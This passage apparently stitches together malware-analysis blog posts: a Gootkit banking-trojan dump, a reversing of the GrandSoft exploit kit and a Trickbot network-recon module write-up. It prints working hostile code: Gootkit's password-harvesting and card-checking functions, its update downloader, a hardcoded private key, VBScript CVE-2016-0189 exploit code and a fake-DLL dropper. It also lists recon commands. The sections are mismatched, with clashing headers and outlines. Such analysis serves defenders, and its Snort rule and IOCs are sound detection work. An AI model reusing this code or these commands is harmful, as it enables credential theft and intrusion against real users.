var global_cert = “—–BEGIN CERTIFICATE—–\r\nMIICtzCCAiCgAwIBAgJAwj/sQrLq6n+7nn9OSX0zzgGhP834SgLjlxQ96GHioum4\r\nj3w7bUQWVwUYjadfxZxt3S/xsss3zG5yJGJyFK64ATANBgkqhkiG9w0BAQUFADBC\r\nMRswGQYDVQQDExJHZW9UcnVzdCBHbG9iYWwgQ0ExFjAUBgNVBAoTDUdlb1RydXN0\r\nIEluYy4xCzAJBgNVBAYTAlVTMB4XDTE0MTEyNDE3MDkyOFoXDTE1MTEyNDE3MDky\r\nOFowaTEYMBYGA1UEAxMPbWFpbC5nb29nbGUuY29tMQswCQYDVQQGEwJVUzETMBEG\r\nA1UECBMKQ2FsaWZvcm5pYTEWMBQGA1UEBxMNTW91bnRhaW4gVmlldzETMBEGA1UE\r\nChMKR29vZ2xlIEluYzCBnzANBgkqhkiG9w0BAQEFAAOBjQAwgYkCgYEAriq+HsPB\r\noe//EIGy7/aDCsS95UEbVBVeeYOe4OpeOOdy3hE48HADYFEKwMMu2PLh9q9bzNnx\r\naXpRY8Amdcp5Gk4jHJ5akXXGnasw67vE6udzmSay1WgU7jrhkTAbWuyzEIwuehJ7\r\n15awJBKWWw2luxpbLOaw7WSW08vLn3Rk8H0CAwEAAaNXMFUwNAYDVR0lAQH/BCow\r\nKAYIKwYBBQUHAwIGCCsGAQUFBwMEBggrBgEFBQcDAQYIKwYBBQUHAwMwHQYDVR0R\r\nAQH/BBMwEYIPbWFpbC5nb29nbGUuY29tMA0GCSqGSIb3DQEBBQUAA4GBAH4Erwf9\r\nmw+RbSX4MKEppUzs+q7UumC8Z9p+7K3Pnl+xLY6ZW4tHEYLjJqcKGY2a+F4kDW6A\r\nhoyBr+qHJO9aXmoAbAHgHteS27kzWIulh1u6oHGFqHFXDTQKERdckn5MkqF3L+6h\r\nbMEpXkJNLOj2JWzfrUP+ZhVZy78VUEiqr/cY\r\n—–END CERTIFICATE—–\r\n”;
B. Gootkit Global RSA Key
var global_key = “—–BEGIN RSA PRIVATE KEY—–\nMIICXQIBAAKBgQCuKr4ew8Gh7/8QgbLv9oMKxL3lQRtUFV55g57g6l4453LeETjw\r\ncANgUQrAwy7Y8uH2r1vM2fFpelFjwCZ1ynkaTiMcnlqRdcadqzDru8Tq53OZJrLV\r\naBTuOuGRMBta7LMQjC56EnvXlrAkEpZbDaW7Glss5rDtZJbTy8ufdGTwfQIDAQAB\r\nAoGASUSt6l9LrAY8dQM69XvssLEHedQj3QGIVvIp+lBeBu5HAmiYXX2hzfkJ3wG9\r\nSYMT0CUBJ3Jf/pF4f9Ar3c2pl9bzN7MY9mmHMUfDl3heCb5NgMBIpu+1R7MKuLsT\r\nQ7aATQd4TIcmPBLX3J+p4G4xY6H55he+8PhZieata2g5XsECQQDnaeGns23X/4h3\r\n4DNyJu174JTEgc1D+rImHPsYcA98qR7G0wyg3E33CFbt+OdtTS1pEKwMAaKJ/qu+\r\n8TpPAeuFAkEAwKvVrMDKRGGHkd7LYPviJ6re9xR+3Iv37ELHGlyoeucXV423sgnh\r\nwE3BhaS2RtX25xOk7Bg63vQsSElMv0bWmQJBAMK+aBgo95d+g+nd022NNO264Xc9\r\nhPBgWOuaF/VI2L+
f0zafBVGaFEJ/0igR/zAMctqoHSE9fvuCRiY5+0fh5cECQATs\r\nn2Jx7vl+cKOWySXqaiZPZLF18aQbY7PDJSmUUq4Jd/xB3/8J554tnpOW2R3IXC4d\r\nv2pVWDPYk8UpMm/1FIkCQQDI3gm7JNJqydrLP3plplfFB6hq3yxM1UG4Po+iCych\r\n3/vPHarkJzs3Gl6lH/lxK31gl8UEaF6DLGn8HFO+nzDc\r\n—–END RSA PRIVATE KEY—–“;
process.tls = {
    ciphers: ‘ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES256-GCM-SHA384:DHE-RSA-AES128-GCM-SHA256:DHE-DSS-AES128-GCM-SHA256:kEDH+AESGCM:ECDHE-RSA-AES128-SHA256:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA:ECDHE-ECDSA-AES128-SHA:ECDHE-RSA-AES256-SHA384:ECDHE-ECDSA-AES256-SHA384:ECDHE-RSA-AES256-SHA:ECDHE-ECDSA-AES256-SHA:DHE-RSA-AES128-SHA256:DHE-RSA-AES128-SHA:DHE-DSS-AES128-SHA256:DHE-RSA-AES256-SHA256:DHE-DSS-AES256-SHA:DHE-RSA-AES256-SHA:ECDHE-RSA-DES-CBC3-SHA:ECDHE-ECDSA-DES-CBC3-SHA:AES128-GCM-SHA256:AES256-GCM-SHA384:AES128-SHA256:AES256-SHA256:AES128-SHA:AES256-SHA:AES:CAMELLIA:DES-CBC3-SHA:!aNULL:!eNULL:!EXPORT:!DES:!RC4:!MD5:!PSK:!aECDH:!EDH-DSS-DES-CBC3-SHA:!EDH-RSA-DES-CBC3-SHA:!KRB5-DES-CBC3-SHA’,
    method : ‘TLSv1_method’

C. LSA Grabber Message:

message LsaAuth {
     optional string UserName = 1;
     optional string UserDomain = 2;
     optional string UserPassword = 3;
}
message MailMessage {
     optional string html = 1;
     optional string text = 2;
     optional string subject = 3;
     optional string messageId = 4;
     optional string inReplyTo = 5;
     optional string priority = 6;
     optional string from = 7;
     optional string to = 8;
     optional string date = 9;
     optional string receivedDate = 10;
     optional string headers = 11;
     optional bool isDeletedByMailware = 12;
}
message LogLine {
     optional string logstr = 1;
}

message KeyloggerReport {

optional string keystroke = 1;
optional string windowName = 2;
optional string processPath = 3;
}

message WindowChangeEventMessage {

optional int32 localTimeDate = 1;
optional string windowName = 2;
optional string processPath = 3;
}

message SecureDeviceEventLog {

optional int32 localTimeDate = 1;
optional string deviceName = 2;
optional string eventName = 3;
optional string lastWindowName = 4;
optional string lastProcessPath = 5;
}

D. Command Execution Message:

message CommandExecutionRequest {
optional string process = 1;
optional string command = 2;
}

E. File Upload Message:

message FileUpload {
    optional string filename = 1;
    optional bytes  content = 2;
}

message FileAttribues {

    optional string name = 1;
    optional string realname = 2;
    optional bool isFile = 3;
    optional bool isDirectory = 4;
    optional bool isBlockDevice = 5;
    optional bool isSymbolicLink = 6;
    optional int64 size = 7;
    optional int64 ctime = 8;
    optional int64 atime = 9;
}

message DirectoryListing{

    repeated FileAttribues files = 1;
}

F. Bot Config Message:

message RedirectionEntry {
    optional string name = 1;
    optional string uri = 2;
    optional string keyword = 3;
    optional string uripassword = 4;
    optional string datapassword = 5;
}

message ProcessModule {

optional string szExePath = 1;
optional uint32 GlblcntUsage = 2;
optional uint64 hModule = 3;
optional uint64 modBaseAddr = 4;
optional uint64 modBaseSize = 5;
optional uint32 ProccntUsage = 6;
optional uint32 pcPriClassBase = 7;
optional uint32 dwFlags = 8;
optional string szModule = 9;
optional uint32 th32ModuleID = 10;
optional uint32 th32ProcessID = 11;
}

message Process {

optional string szExeFile = 1;
optional uint32 cntUsage = 2;
optional uint32 th32ProcessID = 3;
optional uint32 th32ModuleID = 4;
optional uint32 cntThreads = 5;
optional uint32 th32ParentProcessID = 6;
optional uint32 pcPriClassBase = 7;
optional uint32 dwFlags = 8;
optional bool owned = 9;
repeated ProcessModule modules = 10;
}

message ProcessList {

  repeated Process Processes = 1;
}

message BaseEntryBlock  {

repeated string url = 1;
optional bool enabled = 2           [default = true];
repeated string guids = 3;
optional bool filt_get = 4          [default = true];
optional bool filt_post = 5         [default = true]; 
}

message SpywareConfigEntry {

    required BaseEntryBlock base = 1;
    optional string data_before = 2;
    optional string data_inject = 3;
    optional string data_after = 4;
    repeated string stoplist = 5;
}

message VideoConfigEntry {

required BaseEntryBlock base = 1;

optional bool grayScale = 2         [default = true];

optional int32 framerate = 3        [default = 5];
optional int32 seconds = 4          [default = 30];
optional string filenameMask = 5;
optional bool uploadAfterRecord = 6 [default = true];
optional string hashkey = 7;
repeated string stoplist = 8;
}

message FragmentConfigEntry {

    required BaseEntryBlock base = 1;

    optional string from = 2;

    optional string to = 3;
optional string varname = 4 [default = ”];
}


message MailFilterEntry {

optional string from = 1;
optional string to = 2;
optional string subject = 3;
optional string body = 4;
}

message PostParamsRecorderEntry {

required BaseEntryBlock base = 1;
optional string paramname = 2;
optional string macrosname = 3;
}

message BotSettings {

    optional int32 fgMaxDataSize = 1   [default = 65000];
    optional int32 fgMinDataSize = 2   [default = 0];
    optional bool fgCaptureGet = 3   [default = false];
    optional bool fgCapturePost = 4   [default = true];
    optional bool fgCaptureCookies = 5[default = false];
    repeated string fgBlackList = 6;
    repeated string fgWhiteList = 7;
    optional int32 netCcTimeout = 8    [default = 300000];

optional bool kgIsKeyloggerEnabled = 9[default = false];

}

message SpywareConfig {

    repeated SpywareConfigEntry injects = 1;
    repeated VideoConfigEntry recorders = 2;
    repeated FragmentConfigEntry fragments = 3;
    repeated MailFilterEntry emailfilter = 4;
    repeated RedirectionEntry redirects = 5;
    repeated PostParamsRecorderEntry post2macros = 6;
    optional BotSettings settings = 7;
}


G. Bot Message Buffer
message AdapterAddress {
    optional string address = 1;
    optional string netmask = 2;
    optional string family = 3;
    optional string mac = 4;
    optional int32 scopeid = 5;
    optional bool internal = 6;
}

message NetworkInterface {
    optional string connectionName = 1;
    repeated AdapterAddress adresses = 2;
}

message NetworkInterfaces {
    repeated NetworkInterface Interfaces = 1;
}

message Processor {
    optional string model = 1;
    optional int32 speed = 2;
}

message Bot {
    optional string processName = 1;
    optional string guid = 2;
    optional string vendor = 3;
    optional string os = 4;
    optional string ie = 5;
    optional string ver = 6;
    optional int32  uptime = 7;
    optional int32  upspeed = 8;
    optional string internalAddress = 9;
    optional string HomePath = 10;
    optional string ComputerName = 11;
    optional string SystemDrive = 12;
    optional string SystemRoot = 13;
    optional string UserDomain = 14;
    optional string UserName = 15;
    optional string UserProfile = 16;
    optional string LogonServer = 17;
    optional int64  freemem = 18;
    optional int64  totalmem = 19;
    optional NetworkInterfaces networkInterfaces = 20;
    optional string tmpdir = 21;
    repeated Processor cpus = 22;
    optional string hostname = 23;
    optional bool IsVirtualMachine = 24;
}

message Tasks {

    message Settings {
        optional int32  pingTime = 1;
    }
    
    optional Settings  settings = 1;
    optional bytes     slch = 2;
    optional bytes     rbody32_hash = 3;
    optional bytes     rbody64_hash = 4;
    optional bytes     defaultjs_hash = 5;
}
message BodyUpdate {
  optional int32 platform = 1;
  optional bytes newbody = 2;
}

H. Formgrabber Buffer
message Form {
optional string method = 1;
optional string source = 2;
optional string location = 3;
optional string referer = 4;
optional bool isSsl = 5;
optional string rawHeaders = 6;
optional bytes postData = 7;
optional string protocol = 8;
optional bool isCertificateUsed = 9;
optional bool isLuhnTestPassed = 10;
optional string remoteAddress = 11;
}

message GrabbedPageFragment {
    optional string url = 1;
    optional string from = 2;
    optional string to = 3;
    optional string fragmentText = 4;
    optional string source = 5;
}

IX. FileUpload Buffer
message FileUpload {
    optional string filename = 1;
    optional bytes  content = 2;
}

message FileAttribues {
    optional string name = 1;
    optional string realname = 2;
    optional bool isFile = 3;
    optional bool isDirectory = 4;
    optional bool isBlockDevice = 5;
    optional bool isSymbolicLink = 6;
    optional int64 size = 7;
    optional int64 ctime = 8;
    optional int64 atime = 9;
}

message DirectoryListing{
    repeated FileAttribues files = 1;
}

I. Local Variable Message

message LocalVar {
optional string name = 1;
optional string value = 2;
}

message LocalVarsList {
repeated LocalVar vars = 1;
optional int32 timestamp = 2;
}

J. SpCollectPasswords

function SpCollectPasswords(query, response, request) {
    let result = [];
    let last_timeout = 0;
    let isConnectionClosed = false;
    function resetAutoendTimeout() {
        if (last_timeout !== 0) {
            clearTimeout(last_timeout);
        }
        last_timeout = setTimeout(function () {
            isConnectionClosed = true;
            response.end();
        }, 20000);
    }
    saved_creds.collectWindowsPasswords(function (item) {
        if (isConnectionClosed === false){
            response.write(JSON.stringify({
                type : ‘windows’,
                username : item.username_value,
                url : item.origin_url,
                password : item.password_value
            }));
        }
    });
    saved_creds.collectCromePasswords(function (item) {
        if (isConnectionClosed === false) {
            response.write(JSON.stringify({
                type: ‘chrome’,
                username: item.username_value,
                url: item.origin_url,
                password: item.password_value
            }));
        }
    });

K. grabPasswordsPony

function grabPasswordsPony() {
    pstorage.getPasswordsFromGrabber(function (error, result) {
        if (result.length > 1) {
            result = result.split(‘\n’).map(function (line) {
                return line.trim().split(‘|’);
            }).forEach(function (password_entry) {
                if (password_entry.length === 4) {
                    spyware.SendAuthInformationPacket(
                        password_entry[2],
                        ‘(‘ + password_entry[0] + ‘) ‘ + password_entry[1],
                        password_entry[3] 
                    );
                } else if (password_entry.length === 5) {
                    spyware.SendAuthInformationPacket(
                        password_entry[3],
                        ‘(‘ + password_entry[0] + ‘) ‘ + password_entry[2],
                        password_entry[4]
                    );
                } else {
                    process.log(‘UNABLE_PARSE_PASSWORD : ‘, password_entry.join(‘|’));
                }
            });
       
L. GetCCType

function GetCCType(cc_num) {
    var type = 0;
    if (cc_num.charAt(0) == ‘4’ && (cc_num.length == 16 || cc_num.length == 13))
        type = 1;
    else if (cc_num.charAt(0) == ‘5’ && cc_num.length == 16)
        type = 2;
    else if (cc_num.charAt(0) == ‘3’ && (cc_num.charAt(1) == ‘4’ || cc_num.charAt(1) == ‘7’) && cc_num.length == 15)
        type = 3;
    else if (cc_num.charAt(0) == ‘6’ && cc_num.charAt(1) == ‘0’ && cc_num.charAt(2) == ‘1’ && cc_num.charAt(3) == ‘1’ && cc_num.length == 16)
        type = 4; 
    return type;

M. luhnChk

function luhnChk(luhnstr) {
    try {
        var luhn = luhnstr.replace(/[^0-9]/g, ”);
        var len = luhn.length,
            mul = 0,
            prodArr = [
                [0, 1, 2, 3, 4, 5, 6, 7, 8, 9],
                [0, 2, 4, 6, 8, 1, 3, 5, 7, 9]
            ],
            sum = 0;
        
        if (len != 16 || ((luhn.length – len) >= 6)) {
            return false;
        }
        if (GetCCType(luhn) == 0) {
            return false;
        }
        if (calculateAlphabetSize(luhn).length < 5) {
            return false;
        }
        while (len–) {
            sum += prodArr[mul][parseInt(luhn.charAt(len), 10)];
            mul ^= 1;
        }
        return sum % 10 === 0 && sum > 0;
    } catch (exception) {
        console.error(exception)
        return false;
    }

N. downloadUpdate

function downloadUpdate(serverHost, callback){
    var arch = { ‘ia32’ : 32, ‘x64’ : 64 };
    var updateLink = util.format(“https://%s:80/rbody%d&#8221;, serverHost, arch[process.arch]);
    gootkit_spyware.DownloadFileRight(updateLink, function(error, fileBuffer){
        callback(error, fileBuffer);
    });
    
O. fpatchIETabs

function fpatchIETabs(){
    var reg = process.binding(“registry”);
    var x = new reg.WindowsRegistry(
HKEY_CURRENT_USER,
“Software\\Microsoft\\Internet Explorer\\Main”, KEY_WRITE, true
    x.WriteDword(“TabProcGrowth”, 1);
exports.run = function (iter) {       

    console.log(“RUN : %s, ver : %s”, process.currentBinary, process.g_botId);

Let’s Learn: In-Depth Reversing of GrandSoft Exploit Kit PluginDetect Version "0.9.1" and Its VBScript Memory Corruption CVE-2016-0189 Exploit

Goal: Reverse in-depth one of the latest GrandSoft Exploit Kit (EK) landing page and its VBScript Memory Corruption CVE-2016-0189 exploit.

Background:
After analyzing one of the latest BlackTDS traffic redirection leading to GrandSoft EK, I decided to dive deeper into its landing page, observed exploit, and delivery mechanism. GrandSoft EK is being run by one Russian-speaking developer who promotes privately it under the name “GrandSoft Private Exploit Kit.” Largely, the EK is not available on commercial underground markets due to the developer ban for previous customer infractions.
Researcher Jerome Segura recently did an extensive in-depth study covering exploit kits under the title “Exploit kits: Winter 2018 review” for MalwareBytes. The study refers to the GrandSoft EK exploit that is discussed below in the blog.

Outline:

I.  Network Collector Module
I. Internals of GrandSoft Landing Page: Main loop
II. “PluginDetect” version
III. detectPlatform
IV. browser
V. addPlugin
VI. Exploit VBS CVE-2016-0189 payload 
VII. Traffic chain
VIII. Snort Rule

I. Internals of GrandSoft Landing Page: Main loop
The Exploit Kit landing page is unofsucated and contains the key main loop searching for plugin version related to the following plugins:
 A. Java
 B. Flash
 C. Silverlight
 D. AdobeReader

1
2
3
4
5
PluginDetect.getVersion("A");  
var verJ = PluginDetect.getVersion("Java");
var verF = PluginDetect.getVersion("flash");
var verS = PluginDetect.getVersion("silverlight");
var verPDF = PluginDetect.getVersion("adobereader");

Once the EK obtains the version it oputlates a UR path appending it to the var “srcOfScript” and concatenats to the string /getversionpd/. Notably, if the EK is unable to profile some of the plugins it generats the string “null.” Finally, the script is added to the iframe object that redirects to the payload retrieval function.

1
2
3
var srcOfScript = "/getversionpd/"+verJ+"/"+verF+"/"+verS+"/"+verPDF;

document.write("<iframe src='"+srcOfScript+"'>");

Notably, the observed landing page contained a unique name identifying the redirect as appending the command “PluginDetect” and “998” forming the request. It stores the request as the variable “uniquename.”

1
2
3
4
         uniqueName: function() 
{
return j.name + "998"
}

II. “PluginDetect” version
The key function that is leveraged across the EK functionality is its “PluginDetect” one with version “0.9.1”The functions populates a list of variables as “installed,” “version,” “version0,” “getVersionDone,” and  “pluginName” that are subsequently populated via the script functionality.

 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function() {
var j = {
version: "0.9.1",
name: "PluginDetect",
addPlugin: function(p, q) {
if (p && j.isString(p) && q && j.isFunc(q.getVersion)) {
p = p.replace(/\s/g, "").toLowerCase();
j.Plugins[p] = q;
if (!j.isDefined(q.getVersionDone)) {
q.installed = null;
q.version = null;
q.version0 = null;
q.getVersionDone = null;
q.pluginName = p;
}
}
},

III. detectPlatform
Notably, the Kit profiles platforms that is used to run the malware via grabbing and parasing “navigator.platform” value for Win, Mac, Linux, FreeBSD, iPhone, iPod, iPad, Win.*CE, Win.*Mobile, Pocket\\s*PC.

 1
2
3
4
5
6
7
8
9
10
11
12
13
14
detectPlatform: function() {
var r = this,
q, p = window.navigator ? navigator.platform || "" : "";
j.OS = 100;
if (p) {
var s = ["Win", 1, "Mac", 2, "Linux", 3, "FreeBSD", 4, "iPhone", 21.1, "iPod", 21.2, "iPad", 21.3, "Win.*CE", 22.1, "Win.*Mobile", 22.2, "Pocket\\s*PC", 22.3, "", 100];
for (q = s.length - 2; q >= 0; q = q - 2) {
if (s[q] && new RegExp(s[q], "i").test(p)) {
j.OS = s[q + 1];
break
}
}
}
}

IV. browser
GrandSoft also profiles very specific browser versions via two core functions “detectIE” and “detectNonIE.”
A. detectIE

detectIE function is implemented via grabbing and parsing values “window.navigator” and “navigator.userAgent” looking “MSIE” values.
 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
            detectIE: function() {
var r = this,
u = document,
t, q, v = window.navigator ? navigator.userAgent || "" : "",
w, p, y;
r.ActiveXFilteringEnabled = !1;
r.ActiveXEnabled = !1;
...
q = u.documentMode;
try {
u.documentMode = ""
} catch (s) {}
r.isIE = r.ActiveXEnabled;
r.isIE = r.isIE || j.isNum(u.documentMode) || new Function("return/*@cc_on!@*/!1")();
try {
u.documentMode = q
} catch (s) {}
r.verIE = null;
if (r.isIE) {
r.verIE = (j.isNum(u.documentMode) && u.documentMode >= 7 ? u.documentMode : 0) || ((/^(?:.*?[^a-zA-Z])??(?:MSIE|rv\s*\:)\s*(\d+\.?\d*)/i).test(v) ? parseFloat(RegExp.$1, 10) : 7)
}
},

B. browser.detectNonIE
The implementation of “detectNonIE” relies on parsing user agent strings such as “Gecko,” “rv”, “OPR|Opera”, “Edge”, “Chrome|CriOS”, and “Apple|Safari.”

 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
    detectNonIE: function() {
var q = this,
p = 0,
t = window.navigator ? navigator : {},
s = q.isIE ? "" : t.userAgent || "",
u = t.vendor || "",
r = t.product || "";
q.isGecko = !p && (/Gecko/i).test(r) && (/Gecko\s*\/\s*\d/i).test(s);
p = p || q.isGecko;
q.verGecko = q.isGecko ? j.formatNum((/rv\s*\:\s*([\.\,\d]+)/i).test(s) ? RegExp.$1 : "0.9") : null;
q.isOpera = !p && (/(OPR\s*\/|Opera\s*\/\s*\d.*\s*Version\s*\/|Opera\s*[\/]?)\s*(\d+[\.,\d]*)/i).test(s);
p = p || q.isOpera;
q.verOpera = q.isOpera ? j.formatNum(RegExp.$2) : null;
q.isEdge = !p && (/(Edge)\s*\/\s*(\d[\d\.]*)/i).test(s);
p = p || q.isEdge;
q.verEdgeHTML = q.isEdge ? j.formatNum(RegExp.$2) : null;
q.isChrome = !p && (/(Chrome|CriOS)\s*\/\s*(\d[\d\.]*)/i).test(s);
p = p || q.isChrome;
q.verChrome = q.isChrome ? j.formatNum(RegExp.$2) : null;
q.isSafari = !p && ((/Apple/i).test(u) || !u) && (/Safari\s*\/\s*(\d[\d\.]*)/i).test(s);
p = p || q.isSafari;
q.verSafari = q.isSafari && (/Version\s*\/\s*(\d[\d\.]*)/i).test(s) ? j.formatNum(RegExp.$1) : null;
},

V. addPlugin
After it grabs all the values, the landing page contains logic to populate and profile 4 different plugins such as “flash,” “adobereader,” “silverlight,” and “java.” Some of the core shortened functions of the function “addPlugin” runs and variables are listed below.
A. j.addPlugin(“flash”, e)

 1
2
3
4
5
6
7
8
9
10
11
12
    var e = {
mimeType: "application/x-shockwave-flash",
setPluginStatus: function(t, q, p) {
var s = this,
r;
s.installed = q ? 1 : (t ? 0 : -1);
s.precision = p;
s.version = j.formatNum(q);
r = s.installed == -1 || s.instance.version;
r = r || s.axo.version;
s.getVersionDone = r ? 1 : 0;
},

B. j.addPlugin(“adobereader”, c)

 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
    var c = {
OTF: null,
setPluginStatus: function() {
var p = this,
B = p.OTF,
v = p.nav.detected,
x = p.nav.version,
z = p.nav.precision,
C = z,
u = x,
s = v > 0;
var H = p.axo.detected,
r = p.axo.version,
w = p.axo.precision,
D = p.doc.detected,
G = p.doc.version,
t = p.doc.precision,
E = p.doc2.detected,
F = p.doc2.version,
y = p.doc2.precision;

C. j.addPlugin(“silverlight”, h)

 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
    var h = {
getVersion: function() {
var r = this,
p = null,
q = 0;
if ((!q || j.dbug) && r.nav.query().installed) {
q = 1
}
if ((!p || j.dbug) && r.nav.query().version) {
p = r.nav.version
}
if ((!q || j.dbug) && r.axo.query().installed) {
q = 1
}
if ((!p || j.dbug) && r.axo.query().version) {
p = r.axo.version
}
r.version = j.formatNum(p);
r.installed = p ? 1 : (q ? 0 : -1)
}

D. j.addPlugin(“java”, a)

 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
    var a = {
Property_names: [],
Property_values: [],
Property_values_lock: [],
JAVATOJSBRIDGE: 0,
JSTOJAVABRIDGE: 1,
mimeType: ["application/x-java-applet", "application/x-java-vm", "application/x-java-bean"],
mimeType_dummy: "application/dummymimejavaapplet",
classID: "clsid:8AD9C840-044E-11D1-B3E9-00805F499D93",
classID_dummy: "clsid:8AD9C840-044E-11D1-B3E9-BA9876543210",

pluginObj: 0
},
OTF: null,
getVerifyTagsDefault: function() {
return [1, this.applet.isDisabled.VerifyTagsDefault_1() ? 0 : 1, 1]
}

VI. Exploit VBS CVE-2016-0189 payload 
(Domain: hxxp://qictoeqn[.]incentive[.]jereovivflaminggip[.]xyz/getversionpd/null/null//null)

A. Exploit vulnerability
The exploit is identical to the available version on Github leveraging hex-encoded “shell32.” The trigger exploit function is called “SmuggleFag. ” The function resizes the array and overlap freed array area with the exploit string.
The GrandSoft EK example of the array exploit building function is as follows:
 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
Dim aw 
Dim T9lJDdQHhgiB3
Dim lunnga(32)
Dim G0tAyknVP4
Dim y(32)
Dim x0lIEBoNEzX5
k1 = 1
Dim O4EiqKng6
ryririririiriririrooror = 1999 + k1
Dim T5shDvBvweXg7
sddddddddddddddddddddd = "%u4141"
Dim W5mhmePuc8
a9sddddddddddddddddddddad = sddddddddddddddddddddd & sddddddddddddddddddddd

k3 = 32
Dim c7vztnBkf10
fix3 = a9sddddddddddddddddddddad & sddddddddddddddddddddd
Dim u9zxrNOt11
zerofix = "%u0000"
Dim J1mVWOQyTRn12
trifix = zerofix & zerofix & zerofix
Dim f4HnLPliWAsQ13
d = a9sddddddddddddddddddddad & "%u0016" & fix3 & "%u4242%u4242"
F6fIXnZEvCA = "For Each G4xdz In U6kBzX End Function While Not Z7cvb.A9BFC "
b = String(ryririririiriririrooror*k3, "D")
Dim G8GGmkKrCPM15
c = d & b
Dim J9oImLEJe16
x = UnEscape(c)

B. URI Path download of encoded payload from path

C. cmdrun script
Instead of downloading any additional code, the GrandSoft EK simple relies on building the hex-encoded shell32 to %TEMP% (GetSpecialFolder(2)) directory and retrieving and decoding it subsequently.
The relevant code is as follows:

 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
For i = 1 to Len(hexDial) Step 2 
dlltxt = dlltxt & Chr("&H"&Mid(hexDial, i,2))
Next
Dim i8oKFQXWobb134
Dim N5TmRtvl135

T7dhDuELNcP = " K4fCC = G6WdxBS & Trim(x1OfSy.h3WPqdH()) "
Set c=CreateObject("Scripting.FileSystemObject")
Dim b7osNLBJ137
fttttttttttttttttttttttttttttttt=c.GetSpecialFolder(2)
Dim a4scxQTEDc138
fake32=ttttttttttttttttttttttttttttttt&"\\System32"
Dim U8PvDAdZk139
Dim R0tKOXofLfBm140
If Not c.FolderExists(fake32) Then
Dim s6toCqOQGfJ141
c.CreateFolder(fake32)
Dim e3LXQLVyimNX142
End If
Dim J8pKzTbSOxb143
Dim H5uTerik144
Dim R7PwLxmMpS145
Dim u7TTVOsNdn146
fakedll = c.BuildPath(fake32,"shell32.dll")
Set b=c.CreateTextFile(fakedll)
b.Write "a1"
b.Close
Set b=c.CreateTextFile(fakedll)
b.Write dlltxt
b.Close

Set w=CreateObject("WScript.Shell")
Dim x9vACiVeCR155
w.CurrentDirectory=fttttttttttttttttttttttttttttttt
Dim Z7pMtTvMScyV156
fullCmdRun = cmdRun & fullPath
Dim l5dodqMT157
oldroot=w.Environment("Process").Item("SystemRoot")
Dim H4mQFgFAefUU158
w.Environment("Process").Item("SystemRoot")=ttttttttttttttttttttttttttttttt
Dim C2JTzxJrNXf159
w.Environment("Process").Item("SysFilename")= fullCmdRun
Dim d5ehKWvE160
Set sh = CreateObject("Shell.Application")

VII. Traffic chain
1. BlackTDS
2. GrandSoft EK Landing
Domain: hxxp://qictoeqn[.]incentive[.]jereovivflaminggip[.]xyz/entourage
3. GrandSoft EK CVE-2016-0189 Exploit
Domain: hxxp://qictoeqn[.]incentive[.]jereovivflaminggip[.]xyz/getversionpd/null/null//null
4. GrandSoft EK Encoded Payload
Domain: hxxp://qictoeqn[.]incentive[.]jereovivflaminggip[.]xyz/2/[0-9]{8}
5. Payload Location
Domain: hxxp://80[.]211[.]10[.]121/downloads/cl[.]exe
VIII. Snort Rule:

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:”Possible GrandSoft EK exploit serve alert”; flow:established,to_server; http_uri; content:”/getversionpd/”; http_uri; content:”/”; http_uri; content:”/”; http_uri; content:”/”; http_uri; reference:url,http://www.vkremez.com/2018/04/lets-learn-in-depth-reversing-of.html; classtype:Exploit-activity; rev:1;)

Let’s Learn: Trickbot Implements Network Collector Module Leveraging CMD, WMI & LDAP

Goal: Reverse and document the latest module “network64/32Dll,” leveraged by the notorious Trickbot banking malware gang.

Decoded module hash “network64Dll”aeb08b0651bc8a13dcf5e5f6c0d482f8
Decoded config in “network64Dll_configs:

Background:

https://platform.twitter.com/widgets.js Assessment

While reviewing Twitter posts related to Trickbot malware, I was alerted by a few researchers @Ring0x0 and @v0id_hunter to the new module dropped by the Trickbot gang “network64/32Dll.” This specific module appears to be one single harvester of all possible network victim information from running commands such as “ipconfig /all” and “nltest /domain_trusts /all_trusts” to WMI Query Language (WQL) queries such as “SELECT * FROM Win32_OperatingSystem” to lightweight directory access protocol (LDAP) queries. Notably, the gang leverages “nltest” commands to establish trust relationship between between a compromised workstation and its possible domain before quering LDAP. This is not the first time this gang leverages LDAP; they also developer a DomainGrabber module specifically to harvest sensitive domain controller information, as detailed earlier.
This tiny 24 KB module DLL, compiled on Friday March 30, 08:52:12 2018 UTC, is originally called “dll[.]dll.” The module itself consists of only 32 functions.

Possible Attack Methodology

The module is likely used by the gang to expand their access to victim networks possibly identifying high-value corporate domains that they can exploit further either via their “tab” module implementing its ETERNALROMANCE exploit implementation, paired with Mimikatz and/or establish deeper network persistence before they deploy additional malware.
The decoded Trickbot “network64Dll” module contains the usual Trickbot export functions:

  • Control 
  • FreeBuffer
  • Release
  • Start
The module framework is as follows:
I. Network Collector Module
II. Network Communication 
III. Yara rule
I.  Network Collector Module

A. ***PROCESS LIST***
Collects all processes via CreatoolHelp32Snapshot iterating through running processes.
B. . ***SYSTEMINFO***
The list of queried WMQ is based from this expression:
  • SELECT * FROM Win32_OperatingSystem
C. CMD-based calls
The list of all simple command leveraged by the gang:
  • ipconfig /all
  • net config workstation
  • net view /all
  • net view /all /domain
  • nltest /domain_trusts
  • nltest /domain_trusts /all_trusts
D.  LDAP network and domain queries


The list of some of the grouped LDAP queries:
a. ***LOCAL MACHINE DATA***
  • User name
  • Computer name
  • Site name
  • Domain shortname
  • Domain name
  • Forest name
  • Domain controller
  • Forest trees
b. ***COMPUTERS IN FOREST***
  • Name
  • Full name
  • Description
  • Operating System
  • IP-addres
c. ***USERS IN FOREST***
  • E-mail
  • Comment
  • Description
  • Name
d. ***COMPUTERS IN DOMAIN***
  • Name
  • Full name
  • Description
